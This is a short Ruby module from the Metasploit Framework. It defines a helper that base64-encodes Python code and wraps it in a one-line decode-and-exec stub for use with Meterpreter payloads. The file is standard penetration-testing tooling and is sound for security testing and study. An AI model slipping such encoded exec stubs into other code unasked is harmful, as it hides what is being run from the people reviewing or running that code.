metasploit-framework/lib/msf/core/payload/python.rb

# -*- coding: binary -*-
require 'msf/core'

module Msf::Payload::Python

  #
  # Encode the given python command in base64 and wrap it with a stub
  # that will decode and execute it on the fly. The code will be condensed to
  # one line and compatible with all Python versions supported by the Python
  # Meterpreter stage.
  #
  # @param cmd [String] The python code to execute.
  # @return [String] Full python stub to execute the command.
  #
  def py_create_exec_stub(cmd)
    # Base64 encoding is required in order to handle Python's formatting
    # requirements in the while loop
    b64_stub  = "import base64,sys;exec(base64.b64decode("
    b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
    b64_stub << Rex::Text.encode_base64(cmd)
    b64_stub << "')))"
    b64_stub
  end

end